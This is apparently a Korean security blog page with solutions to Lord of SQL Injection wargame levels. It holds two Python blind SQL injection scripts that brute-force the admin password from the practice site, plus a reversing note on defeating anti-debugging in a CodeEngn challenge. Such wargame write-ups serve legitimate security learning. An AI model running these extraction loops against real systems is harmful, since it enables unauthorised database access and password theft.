'Wargame > Lord of SQL' 카테고리의 다른 글
LOS golem (0) | 2018.02.08 |
---|---|
LOS skeleton (0) | 2018.02.08 |
LOS troll (0) | 2018.02.08 |
LOS orge (0) | 2018.02.08 |
LOS darkelf (0) | 2018.02.08 |
LOS golem (0) | 2018.02.08 |
---|---|
LOS skeleton (0) | 2018.02.08 |
LOS troll (0) | 2018.02.08 |
LOS orge (0) | 2018.02.08 |
LOS darkelf (0) | 2018.02.08 |
LOS skeleton (0) | 2018.02.08 |
---|---|
LOS vampire (0) | 2018.02.08 |
LOS orge (0) | 2018.02.08 |
LOS darkelf (0) | 2018.02.08 |
LOS wolfman (0) | 2018.02.08 |
import urllib2
def request(data):
url = "https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw="+urllib2.quote(data)
req = urllib2.Request(url)
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
req.add_header('Cookie','__cfduid=d8ef4b715b1243db43a171dd9c1503f641517927129; PHPSESSID=dp23m3nrh8cfflj2iga3np4t46')
response = urllib2.urlopen(req).read()
if "Hello admin" in str(response):
return True
else:
return False
length = 0
admin_pw = ""
strings = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!_@"
for i in range(0,50):
payload = "' || id='admin' && length(pw)="+str(i)+"#"
if request(payload)==True:
length = i
break
print "[*]Admin Password Length = " + str(length)
for j in range(1,length+1):
for i in range(0,len(strings)):
payload = "' || id='admin' && substr(pw,"+str(j)+",1) like '"+strings[i]+"%'#"
if request(payload)==True:
admin_pw += strings[i]
print "[-]Admin Password = " + admin_pw
break
print "[*]Admin Password = " + admin_pw
LOS vampire (0) | 2018.02.08 |
---|---|
LOS troll (0) | 2018.02.08 |
LOS darkelf (0) | 2018.02.08 |
LOS wolfman (0) | 2018.02.08 |
LOS orc (0) | 2018.02.08 |
LOS troll (0) | 2018.02.08 |
---|---|
LOS orge (0) | 2018.02.08 |
LOS wolfman (0) | 2018.02.08 |
LOS orc (0) | 2018.02.08 |
LOS goblin (0) | 2018.02.08 |
LOS orge (0) | 2018.02.08 |
---|---|
LOS darkelf (0) | 2018.02.08 |
LOS orc (0) | 2018.02.08 |
LOS goblin (0) | 2018.02.08 |
LOS cobolt (0) | 2018.02.08 |
import urllib2
def request(data):
url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw="+urllib2.quote(data)
req = urllib2.Request(url)
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
req.add_header('Cookie','__cfduid=d8ef4b715b1243db43a171dd9c1503f641517927129; PHPSESSID=dp23m3nrh8cfflj2iga3np4t46')
response = urllib2.urlopen(req).read()
if "Hello admin" in str(response):
return True
else:
return False
length = 0
admin_pw = ""
for i in range(0,50):
payload = "' or id='admin' and length(pw)="+str(i)+"#"
if request(payload)==True:
length = i
break
print "[*]Admin Password Length = " + str(length)
for j in range(1,length+1):
for i in range(0,128):
payload = "' or id='admin' and ascii(substr(pw,"+str(j)+",1))="+str(i)+"#"
if request(payload)==True:
admin_pw += chr(i)
print "[-]Admin Password = " + admin_pw
break
print "[*]Admin Password = " + admin_pw
LOS darkelf (0) | 2018.02.08 |
---|---|
LOS wolfman (0) | 2018.02.08 |
LOS goblin (0) | 2018.02.08 |
LOS cobolt (0) | 2018.02.08 |
LOS gremlin (0) | 2018.02.08 |
LOS darkelf (0) | 2018.02.08 |
---|---|
LOS wolfman (0) | 2018.02.08 |
LOS orc (0) | 2018.02.08 |
LOS cobolt (0) | 2018.02.08 |
LOS gremlin (0) | 2018.02.08 |
LOS darkelf (0) | 2018.02.08 |
---|---|
LOS wolfman (0) | 2018.02.08 |
LOS orc (0) | 2018.02.08 |
LOS goblin (0) | 2018.02.08 |
LOS gremlin (0) | 2018.02.08 |
최근 SQL Injection 자체 개발 툴을 만들다가 개념 정리도좀 할겸 LOS를 다시 풀어보기로 했다. 예전에 보안공부 시작한지 얼마안되서 풀었을때 많이 배우기도 했고 풀면서 고생도 많이했던 워게임이라 일년사이에 얼마나 실력이 늘었을지 점검도 하고 CTF 풀 때 문제 푸는 시간 단축도 할 겸 빡집중해서 풀어봐야겠다.
풀고나서 페이로드만 올리는 식으로 정리하고 전체다 푸는데 얼마나 시간이 걸릴지 재봐야겠다.
시작시간 = 2018-02-08 20:39
LOS darkelf (0) | 2018.02.08 |
---|---|
LOS wolfman (0) | 2018.02.08 |
LOS orc (0) | 2018.02.08 |
LOS goblin (0) | 2018.02.08 |
LOS cobolt (0) | 2018.02.08 |
군생활 구하면 된다.
안티디버깅 걸려있다. EAX값 바꿔서 우회하면 된다. 그다음 메시지 박스 띄우는 부분에 일수값이 인자로 들어갈거기 때문에 모든 메시지 박스 띄우는 함수에 BP걸고 돌렸더니 다음부분이 나왔다. 일수값이 세팅된 023EE970 영역에 하드웨어 BP걸고 값이 증가하는 부분을 찾아봤다. 해당 영역에서 값이 1증가한 상태로 잡히는걸 볼 수 있고 008BF820 지점에서 이미 증가한 값이 세팅된 체로 존재해 해당 지점에 다시 하드웨어 BP걸고 돌려봤다. 쭉 트레이싱 하다 보면 다음 포인트에서 값이 증가되어있는데 해당 지점에 오기전에 이미 EAX값에 증가된 값이 세팅되어 있기 때문에 스택 참고해서 해당 지점 호출하는 곳으로 가봤다. 위의 사진부분을 콜하는 함수 지점인데 위쪽을 보면 EAX값 세팅할때 참조하는 메모리 주소를 보니 008BF808이란 지점이었고 이 지점에 하드웨어 BP 걸고 다시 돌려봤다.
쭉 트레이싱하다보면 해당지점에서 PUSH EAX로 하드웨어 BP 걸어논 메모리에 증가된 값이 들어오고 ECX값이 세팅되는 023EE920을 다시 하드웨어 BP걸고 돌려봤다.
해당 지점에서 멈추는데 LEA EBP, [EDI+EAX] 부분을 통해 1 증가된 값이 세팅되었다. 드디어 값이 최초로 세팅되는 지점을 찾았고 그럼 이 함수 부분이 리턴되고나서 이 증가된 값을 기준 군대날과 비교해서 프로그램 실행흐름이 나뉘어질거라고 생각했다. 쭉 트레이싱하다보면 리턴 후 다음 부분에서 ESI에 담긴 증가된 값을 EAX에 넣은 후 EBP에 있는 값(790일)과 비교하는걸 볼수 있었다. EAX값을 791로 바꿔서 원래 흐름과 다르게 점프하도록 해봤더니 메시지 박스가 안뜨고 프로그램이 종료된걸 확인할 수 있었다. 790을 md5로 바꿔서 인증해봤더니 정상적으로 인증이 되었다. |
CodeEngn advance 8번 (0) | 2018.02.28 |
---|---|
CodeEngn advance 7번 (0) | 2018.02.28 |
code engn advance 5번 (0) | 2018.02.08 |
code engn advance 4번 (0) | 2018.02.08 |
code engn advance 3번 (0) | 2018.02.08 |